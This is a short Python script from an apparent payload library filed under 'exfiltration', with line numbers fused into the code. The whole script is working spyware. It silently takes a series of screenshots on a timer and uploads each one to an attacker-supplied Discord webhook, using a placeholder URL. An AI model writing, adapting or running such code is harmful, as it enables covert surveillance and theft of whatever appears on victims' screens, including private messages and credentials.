Path: blob/master/payloads/library/exfiltration/Exfiltrate Computer Screenshots/script.py
2968 views
import pyautogui1from time import sleep2import requests345# YOUR DISCORD WEBHOOK6discord_webhook = "https://discord.com/api/webhooks/123456789/xxxxxxxxxx"78# Edit this variables as you want9SCREENSHOTS = 1010TIMING = 51112for i in range(SCREENSHOTS):13sleep(TIMING)1415# take the screenshot16screenshot = pyautogui.screenshot()17screenshot.save("screenshot.png")1819with open("screenshot.png", "rb") as f:20foto = f.read()2122richiesta = {23"username": "ExfiltrateComputerScreenshot"24}2526# Send the message by attaching the photo27response = requests.post(discord_webhook, data=richiesta, files={"Screen#"+str(i)+".png": foto})2829# Useful for debugging30# if response.status_code == 200:31# print("Photo successfully sent!")32# else:33# print("Error while submitting photo." + str(response.status_code))3435